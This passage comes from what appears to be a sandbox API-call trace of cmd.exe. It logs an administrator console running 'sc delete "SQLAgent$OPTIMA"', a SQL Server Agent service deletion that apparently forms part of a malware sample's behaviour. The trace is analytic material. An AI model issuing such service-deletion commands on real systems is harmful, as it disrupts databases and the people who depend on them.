returned 1 [0066.659] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.659] GetFileType (hFile=0xb8) returned 0x3 [0066.659] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.659] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.659] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.659] GetFileType (hFile=0x120) returned 0x3 [0066.659] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 29 [0066.659] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1c, lpOverlapped=0x0) returned 1 [0066.659] GetProcessHeap () returned 0x1b0000 [0066.659] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.659] GetProcessHeap () returned 0x1b0000 [0066.659] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.659] GetProcessHeap () returned 0x1b0000 [0066.659] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.659] GetProcessHeap () returned 0x1b0000 [0066.659] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.660] GetProcessHeap () returned 0x1b0000 [0066.660] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa40 [0066.660] GetConsoleOutputCP () returned 0x1b5 [0066.660] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.660] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.660] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.660] GetProcessHeap () returned 0x1b0000 [0066.660] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.660] GetProcessHeap () returned 0x1b0000 [0066.660] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4a) returned 0x1c9b30 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0066.661] SetErrorMode (uMode=0x0) returned 0x1 [0066.661] SetErrorMode (uMode=0x1) returned 0x0 [0066.661] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.661] SetErrorMode (uMode=0x1) returned 0x1 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0066.661] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.661] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.661] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.661] GetProcessHeap () returned 0x1b0000 [0066.661] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c97e0 [0066.662] GetProcessHeap () returned 0x1b0000 [0066.662] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c97e0, Size=0x7e) returned 0x1c97e0 [0066.662] GetProcessHeap () returned 0x1b0000 [0066.662] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c97e0) returned 0x7e [0066.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.662] GetLastError () returned 0x2 [0066.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.662] GetLastError () returned 0x2 [0066.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.662] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.663] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.663] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.663] GetLastError () returned 0x2 [0066.663] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.663] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.663] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.663] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.663] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.663] GetProcessHeap () returned 0x1b0000 [0066.664] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.664] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.664] GetProcessHeap () returned 0x1b0000 [0066.664] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb0) returned 0x1c9180 [0066.664] GetProcessHeap () returned 0x1b0000 [0066.664] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb0 [0066.664] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$OPTIMA\"") returned 1 [0066.665] GetProcessHeap () returned 0x1b0000 [0066.665] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.665] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.665] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.665] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.665] GetProcessHeap () returned 0x1b0000 [0066.665] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.665] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.666] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.666] GetProcessHeap () returned 0x1b0000 [0066.666] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.666] GetProcessHeap () returned 0x1b0000 [0066.666] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.667] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"SQLAgent$OPTIMA\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x518, dwThreadId=0x364)) returned 1 [0066.672] CloseHandle (hObject=0x50) returned 1 [0066.672] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.672] GetProcessHeap () returned 0x1b0000 [0066.672] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.672] GetEnvironmentStringsW () returned 0x1cba10* [0066.672] GetProcessHeap () returned 0x1b0000 [0066.672] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.672] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0066.672] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.672] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.672] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0066.722] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.722] CloseHandle (hObject=0x54) returned 1 [0066.722] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.722] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.722] GetProcessHeap () returned 0x1b0000 [0066.722] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.722] GetEnvironmentStringsW () returned 0x1d1b10* [0066.722] GetProcessHeap () returned 0x1b0000 [0066.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.723] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.723] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.723] GetProcessHeap () returned 0x1b0000 [0066.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.723] GetEnvironmentStringsW () returned 0x1cba10* [0066.723] GetProcessHeap () returned 0x1b0000 [0066.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.723] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0066.723] GetProcessHeap () returned 0x1b0000 [0066.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.723] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.723] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.724] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.724] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.724] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.724] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.724] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.724] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.724] GetConsoleOutputCP () returned 0x1b5 [0066.724] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.724] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.725] GetProcessHeap () returned 0x1b0000 [0066.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.725] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.725] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.725] GetFileType (hFile=0x120) returned 0x3 [0066.725] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.726] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.726] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.726] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.726] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.726] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.726] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.726] GetFileType (hFile=0x120) returned 0x3 [0066.726] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.726] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.726] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.726] GetFileType (hFile=0xb8) returned 0x3 [0066.726] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.726] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.726] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.727] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.727] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.727] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.727] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.727] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.727] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.727] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.727] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.727] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.727] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.727] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.727] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.727] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.727] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.727] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.728] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.728] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.728] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 